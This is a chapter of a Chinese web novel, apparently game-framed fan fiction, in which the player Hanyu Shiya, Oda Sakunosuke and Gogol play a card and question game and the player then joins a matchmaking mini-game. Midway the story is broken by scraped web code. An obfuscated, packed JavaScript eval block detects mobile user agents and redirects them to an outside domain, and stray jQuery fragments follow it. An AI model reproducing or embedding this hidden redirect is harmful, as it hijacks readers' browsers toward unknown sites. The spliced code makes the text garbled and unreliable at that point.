［五号？这有什么好介绍的。］


    ［想听，爱听。］


    直播间的观众里议论纷纷，顺带着送上点赛博礼物，屏幕上的画面玫瑰花绽放的特效满天飞，花里胡哨的，热度也从一开始的观看量五百，直逼一千人数及两千观看量。


    “是个邪教聚堆的地方！”


    男人义正言辞的说着，认真的表情使得羽生私也不自觉跟着点点头，然后…


    两人面面相觑，气氛是如此宁静。


    对视间，在男人无害灿烂的微笑下，羽生私也抿着唇，忍了又忍，等了又等，等到连一旁的织田作之助从一开始的视若无睹，到一眨不眨的一起盯着男人看。


    僵持半分钟后。


    男人终于率先克制不住的眨一下眼，下一刻，脸上浮现出“糟糕，输掉了”的表情，一旁的织田作之助也眨一下眼，看向羽生私也，一副想要给他鼓掌的模样。


    ‘够了，这是什么谁先眨眼就输掉的小游戏吗？’羽生私也头一次在屏幕前大大的叹口气。


    顺便，婉拒一旁打算鼓掌的织田作之助，羽生私也微笑一下“不了，谢谢。”


    “啊。”发丝间与众不同的一缕晃动，织田作之助默默的放下双手，没什么表情的点点头“恭喜你赢了。”


    羽生私也：也不是直接夸奖，我不需要这个游戏的胜利获奖感言。


    看完全程的男人捂住嘴巴，大声的笑出来，被一旁的羽生私也逮着机会，微笑着询问一句“所以，介绍这一点就没了？”


    “当然~”这个人靠在车座上，理直气壮。


    一点也不称职，羽生私也幽怨的想，但了解这个人乱七八糟的行事作风后，他已然内心毫无波澜。


    哼笑一声，男人眨着那双漂亮异瞳，笑眯眯的歪头“所以——”


    “？”羽生私也默默的扣个问号。


    就见男人从车座底下掏出一个纸箱，类似于抽纸条的装置，就跟羽生私也出门在店铺里看到的，完成对应活动，拿出来纸条，上面写着几等奖赠送什么东西的盒子一模一样。


    捧在怀里的时候，男人已经将剩下的话补上“五号过去的路程有点麻烦，我们就顺带来玩抽纸条，完成上面内容的游戏吧！”


    说着，摇一摇手中的纸盒，发出窸窸窣窣的声响，是纸腾空落下的声响，光听声响，很难想象有多少的纸条在这里面堆积，但它的介绍已经有准确数字。


    ［抽奖盒*R耐久531次：无数书本上拆解下的一部分，纸条质地随机…除了有人刻意去记住纸条的内容与纸条的质感——你不会想知道的。］


    你不如直接明说。


    “我拒绝。”羽生私也内心痛苦着，毫不犹豫的微笑拒绝，他宁愿开个页面继续玩小游戏，也不要玩这种……


    不知道为什么眨一下眼，但也跟着想要拒绝的织田作之助“抱歉…我就…”


    “抽鬼牌，抽到最少次数的人，会得到主办方送来的神秘奖品哦。”男人笑得眼眸眯起，狡黠的像只狐狸一样，看热闹的瞥一眼两人。


    没看出有趣的表情，现在对面的人，一个是面无表情的，一个干脆就说话时候才笑一下，男人眨一下眼，心想‘更好玩了！’


    ‘我是绝对不会…’屏幕前的羽生私也微微松动，又很快揉一下太阳穴，内心腹诽。


    ［叮，触发支线任务——“主办方的邀请。”］


    ［完成要求：一直游玩到五号区域，且成为这里的胜利者。］


    羽生私也闭了闭眼“好的，开始吧。”


    ‘我这该死的好奇心，如果给的不是什么好东西，简直会哭晕在电脑前。’羽生私也捧读一句。


    没想到小伙伴会这么说，织田作之助愣怔一下，乖乖的点头，信赖的选择跟随“我也是。”


    这项活动的确有趣，原本有些昏昏欲睡的观众们顿时精神起来，开始讨论起这个来。


    ［你说，罪犯玩游戏会是什么样的？］


    ［不知道啊，而且这两个人也挺正常的吧，看着就行。］


    ［话说，究竟是哪个会赢？要不要赌一把，我赌五块钱的。］


    ［只有我好奇抽到的内容会是什么吗？］


    在其他直播间里，闲聊、扳手腕、或者是干脆就倒头就睡，正所谓有对比就有热度，这里的小游戏也就引起更多观众的视线，很快就热火朝天的聊起来。


    光是聊还不够，直播间的右下角已经弹出投票的选项，但最多投的都是主办方的一方，要说的话就是——


    ［主办方怎么可能会让自己输？］有个观众笑嘻嘻的发弹幕。


    商务车内的桌子在这时就起到至关重要的作用，把上面摆着的酒与果盘收拾到一边去，改为放扑克牌，羽生私也主动把那摞扑克牌拿起，指尖一翻，娴熟的洗牌。


    ［赌术阶段评价“入门”五经验可提升至“精通”，判定成功。］


    “哇哦，你练过？”由于这个手法过于娴熟，一旁的男人新奇的把脸凑过来，然后被织田作之助的掌心推远，不得投来一个困惑的目光。


    “不能看牌。”织田作之助平静提醒。


    男人无辜的看着，浮夸的做出吃惊的表情“怎么会！我竟然被怀疑了。”


    扑克牌的声响整齐的一静，分成三份出来，羽生私也指尖拉一下脖颈处的围巾，回想起之前玩赌博时候，劲爆尾杀NPC贴心的教程。


    ［费佳：这样的手法，可以以防许多人的算牌，虽然对我没用，但我会教你怎么骗过我的。］


    “练过两天。”羽生私也诚实的说。


    “哈哈，真谦虚啊~”男人哼笑一声，把桌面上的一份扑克牌拿起，面对着自己，抽出两张一样的牌丢在桌面上。


    “教我这个的老师很有耐心。”羽生私也同样拿着扑克牌，没什么太大的表情波动，如果可以的话，他打算一整局都不按一下做表情的按键。


    且说的越少越好。


    ……


    好像，没什么用处。


    第三次从纸盒箱抽出纸条，羽生私也露出一抹“苦恼”的表情，他很清楚这次肯定暗箱操作了，低着头，看向纸条上写的问题。


    “你信仰的神明是谁？”纸条上这么写着。


    羽生私也平静的把纸条丢在桌面上，继续埋头洗牌“我是唯物主义者，不信神。”


    ‘为什么总喜欢问这个无聊的问题。’他这样想。


    说谎对一个玩家来说一直是无足轻重的，但羽生私也并不想给自己加一个“迷信”的设定。


    男人惊喜的抬眸，他眨一下眼，那双异瞳的眼底甚至有点找到同类的愉悦，拿起扑克牌继续玩“欸？真的吗，哪怕祂们的确存在？”


    一直没输过的织田作之助“唔”一声，想到羽生私也那主办方给的任务，再看看“不信神”的羽生私也，在心底重新定义一下那个任务的难度。


    好像，变得有点难了。


    被一眨不眨的期待看着，羽生私也保持着微笑。


    ‘什么奇怪的假设…’屏幕前的羽生私也看一眼，内心升起一股“我为什么要在游戏里考虑这个”的迷茫。


    “要说的话，他们的存在本就……”毫无意义，剩下的话还没说出口，羽生私也从男人手中的卡牌里抽出一张牌，一看，成对了，把两张扑克牌丢在桌面上。


    对着呆滞的男人笑一下“嗯，赢了，我来替你抽一张吧。”


    “欸？你怀疑我作弊吗！”抽到五次，纸条上问题都内容不痛不痒，男人倏的一下睁大眼睛。


    “的确作弊了。”同样知道的织田作之助认真点头，把桌面上的扑克牌重新整理。


    “欸~！竟然怀疑我！啊，真让人伤心。”


    无视掉可怜兮兮的话语，羽生私也把手伸进纸盒里，回忆起之前摸到的纸条的质感，虽说或许不够全面，但挑点有挑战性的内容也不是没有。


    在一大堆不痛不痒的内容里，羽生私也成功选出这条适合的纸条，一把抽出来。


    这个由男人精心准备、刻意打算问他的纸条，就这么被羽生私也以原计划的方式拿出，转而用来对付本人——笑着询问他。


    “那么，你觉得自由的灵魂是什么样的？”


    同时，也在头疼的想‘这个人的问题为什么都这样花里胡哨的，太哲学了。’


    这个人却笑嘻嘻的，他坐在沙发上，敲着桌面狡黠的眨一下眼，认真的指尖搭在胸口处，用吟唱般的口吻。


    “自由的灵魂是在过分的压迫下诞生——”


    “你呢？”


    男人放下手，眼巴巴的看着微笑的羽生私也，企图问出自己想知道的问题。


    羽生私也笑而不语的看着“……”


    为什么他想跟我聊哲学？饶了我吧，我又不看文学小说。


    总之，虽然遗憾，但男人仍然在停车前把说的“神秘奖品”递给织田作之助，是一枚可用于到时候赌场使用、以及外界兑换不少纸币的金币。


    毕竟对织田作之助来说，这场游戏过于轻松，气氛中也有一股让人摸不着头脑的阴霾，他很难玩的开心，但看着对方一眨不眨盯着羽生私也难掩好奇的模样，大概是他们两个玩的“挺开心”。


    “谢谢。”织田作之助有礼貌的道谢，并且把手中的金币反手递给羽生私也，诚恳的说“麻烦了。”


    羽生私也欣然接受：放心吧，除非有机制怪，玩家的背包不可能会被偷东西的。


    “顺带一提——！”男人突然扬起尾音，在羽生私也拉开车门的时候，凑到他耳边笑眯眯的说小话。


    “…嗯。”羽生私也瞥一眼，同样平静的回答“我叫羽生私也。”只要别聊哲学，我们就是好朋友。


    支线任务上的名字一改，从“主办方”变为各位熟知的“果戈里”，虽说，果戈里现在一头黑发，长相也略显平庸但不妨碍剧情，果戈里坐回在车上，看着两人离开的步伐，轻快着挥挥手。


    ［支线任务“果戈里的邀请”完成，评价：他现在有更感兴趣的。织田作之助愿意跟你分享自己的收获。］


    ［奖励：赌术达到“精通”、获取“自由意志”的理念，（可装备，了解查看）“果戈里”的好感度+5。］


    ‘没什么用…嗯？还有好感值？’眼看着陌生的词汇映入眼帘，屏幕前的羽生私也迷茫一下，回想起玩过的一些游戏。


    除了种田游戏可谈恋爱的休闲剧情。


    这个游戏一看就是冒险类的，里面NPC有没有谈恋爱这根筋都不一定，这种休闲的剧情更不可能有，那么好感度的用处就是……


    ‘刷图的探索度、可以得到礼物、还能帮你刷技能经验、一起打怪的工具人！！！’


    羽生私也惊喜的想。


    往前走的织田作之助突然停下步伐，后面走神的羽生私也没反应过来，险些撞到对方后背，幸好玩家眼疾手快松开按键，避免这一悲剧的发生。


    这里随处可见有一些各类的图标，一些穿着长袍，或者是造型怪异的人站在路边，正在向一旁的路人推销着什么。


    有一个更是拉住织田作之助，推销起来“潮水来了！！现在的□□禁锢住我们的灵魂！信仰我们伟大的……”


    “啊。”织田作之助露出“被老奶奶拉住攀谈”一样微困扰的表情。


    “……”羽生私也也跟着沉默一下，扬起健康、仿佛大脑坏死的微笑“真是活泼的地方啊。”


    织田作之助恍然“是这样吗。”


    “是……”


    等等。


    ‘不，不行，不能放弃思考，大脑快点智慧起来！不善言辞的织田NPC没有良好的发言代码！’屏幕前的羽生私也双手一拍脸颊，赶忙让自己从恍惚中清醒过来。


    以防织田作之助真的被自己带跑偏，羽生私也毫不犹豫的把织田NPC扒拉到自己身后，对着迷信者笑一下。


    羽生私也冷冷的俯下身，幽幽的低语“我的神明喜欢拿着东西，如果你要缠着我可怜的、单纯天真的织田，我就把你的头拧下来，镶嵌在神明雕像的手上。”


    迷信者：！


    可怜、单纯天真的织田作之助：…啊。


    见这个人一副相信的惊恐模样，他捂着嘴，赶忙拉下自己的长袍，快步逃也似的走开。


    耳畔传来一阵滚烫，连瞳孔紧接着有点发烫，像是热泪即将流淌而出一样，有种辣椒水抹在眼睛上的感觉。


    羽生私也闭上眼，用手揉一下眼眶，重新转过身看向乖乖等自己的织田作之助，笑一下。


    “看来我吓人也是有一番天赋的。”他这样说。


    ［叮~玩家“羽生私也”触发隐藏buff“□□”，简介：身体的变化对你来说并不明显。］</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137147|179820||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    回想一下那个人慌不择路的模样，织田作之助深以为然的点点头“羽生一向会很容易让人害怕。”


    羽生私也：我看起来很凶吗。


    看着真诚的NPC，羽生私也有点捂着胸口，感觉心脏有被刀捅破的痛苦，同时也对自己的形象产生深深的迷茫。


    字幕及时的冒出。


    ［印象倾向“羽生私也”、恶名+10，神秘+2，目前的具体形象为“神秘的狂信徒”］。


    “……”


    恼羞成怒的羽生私也：这些人的印象真肤浅，不愧是路人NPC。


    就在这时，周围的空气一滞，一切事物停下来，羽生私也眨一下眼睛，慢半拍的反应过来看向字幕，缓缓的松开按着按键的手。


    ［叮~游戏的“防沉迷系统”已开启，请玩家尽快退出游戏。］


    ［倒计时五个小时将会自行解锁。］


    “啊，这次好像玩的有点久了。”屏幕前的羽生私也眨一下干涩的眼眸，瘫在桌面上，小声嘀咕一句，也乖乖的退出“第二关”的游戏界面。


    结果——


    邮箱里的红点冒出，让羽生私也在好奇心驱使下点击，不经意间陷入继续玩游戏的“深渊”中。


    ［新手指导：碰碰棋已经修理好bug，很抱歉为您造成这种影响导致新手关卡中断，作为补偿，我会在你游玩的时候指导你。］


    ［新手指导：顺带一提，时间限制是五个小时。］


    并不惊喜的羽生私也，捂脸，欲哭无泪“喔，那我可以玩五个小时的碰碰棋了！等到防沉迷解锁，然后继续无缝衔接玩第二关…诡计多端的游戏官方。”


    话是这么说，羽生私也移动鼠标，点在游戏上，再毫不犹豫的选择“怦然心动碰碰棋”，刚刚点开。


    匹配界面就有个毛绒绒的Q版立绘NPC，在屏幕的边界探出头来，胸口挂着“新手指导”的木牌，熟悉的黑外套、红围巾配色，Q版的“新手指导”再次平静的笑一笑。


    ［新手指导：很高兴能继续教导你，点击匹配的选项后，我们就可以开始游戏了，玩家。］


    ［新手指导：具体的玩法，需要您自己领会一下，放心，不会有超出你实力范围的玩家匹配成功。］


    “新手指导”话实在多，幸好他的字幕并不占据整个屏幕，而是贴心的待在屏幕最上方，只需要抬眼一看就能够注意到。


    玩家…玩家觉得不占视线的字幕肯定不重要，毫不犹豫的点在“匹配”上。


    ［为您加载匹配中……1/10，预计五十秒后匹配成功。］


    匹配中。


    屏幕里响起一阵休闲欢快的BGM，像是几头牛奔驰而过，晃来晃去的绳子挥舞而出，用绳子套中牛的脑袋，翻身爬上，骑着它在草原里跑来跑去那么欢快。


    趁着时间足够，羽生私也点在“玩家形象”的功能上，瞄一眼，有些能够解锁的服装，需要触发条件才能够解锁。


    玩家初始的服装只是披着一件少女心爆棚的粉红斗篷，羽生私也有点呆滞的盯着，悄悄按下“R”穿戴，耳垂泛红的嘀咕一句。


    “不过…挺好看的，而且这个游戏画风一直这样，倒也合理。”


    被当成背景板的“新手指导”歪头，他本来在耐心的等着匹配，不经意间的瞥一眼，可谓是看到这一幕。


    ［新手指导：……］


    ［新手指导：我看到了哦，真有少女心，玩家是女孩子？］


    幸好，在“新手指导”说完这句话的下一刻，匹配正好完成，玩家没来得及去看说的什么。


    不然的话羽生私也就要因为一句话——被说的道心已毁了。


    ［匹配成功——］


    ［玩家数量：10/10。］


    ［温馨提示：请不要在战场上故意往枪口上撞，请不要向NPC询问作弊代码，禁止多人恶意匹配，损坏其他玩家游戏体验。］


    “……”这个模式好像经历过不少的事情。


    匹配成功后的玩家展示界面里，十个人里除羽生私也这个头像格式化为Q版白色小人以外的玩家。


    每个都有着不一样的头像，有的是陌生的Q版NPC，有的是看着别扭的AI生成图片，也有干脆是玩家自己形象的Q版图片。


    “喔哦，搞得我跟NPC一样。”羽生私也感叹一句，而且名字也很像是NPC“p06”这个名字也是。


    ［新手指导：…嗯？这个？你可以在主页的设置里更改头像与姓名。］


    羽生私也恍然大悟的点点头，然后点击准备，随着BGM切换成热血沸腾，紧接着裁判的声音响起。


    ［裁判NPC：那么，一年一度的“怦然心动碰碰棋”即将开始，胜利者将会获得大量积分，请来一场你死我活的厮杀吧！各位参赛者。］


    无视掉NPC古怪的发言，屏幕上冒出玩家的Q版形象，平面的立绘在原地行走，像是个行走的纸片一样，转过身的方式就是纸片翻个面。


    头顶着“立原道造”名称的NPC在预选栏冒出，一身酷酷的衣服，双手握着各一把手枪，冒出的气泡里也是凶狠的“（｀へ?）”颜文字。


    在敌人出现在战场上后，NPC自动闪现在战场上开始对战，紧接着是一连串的枪声。


    羽生私也有点恍然“…这个游戏，是不是有点什么，混社会性质的因素？”


    一旁的“新手指导”无辜的眨一下鸢眸，看着玩家的表情，摊开手，语气轻描淡写。


    “这就是正常的战斗，难道你想他们拿大砍刀，或者是斧头来砍人吗，这样会被部下抱怨，转身投敌的哦。”


    等等，这款游戏还有这么人性化的剧情吗，脑子好痛，如果我是NPC就好了，这样的话，就不用我来惊愕“这也太人性化”了。


    默默的灌一大口水，羽生私也勉强让自己从乱七八糟的想法里回过神来。


    “…是吗，的确很可怕。”羽生私也表情僵硬且凝重。


    他想‘这个NPC是不是有点不对劲…难道，这种说法就是这个NPC的设定吗？’


    再看看“新手指导”，察觉到视线的他眨一下鸢眸，继续维持自己游刃有余的微笑，歪头。


    “学会了吗？”他问。


    “…学会了。”


    “新手指导”闻言，露出满意的表情。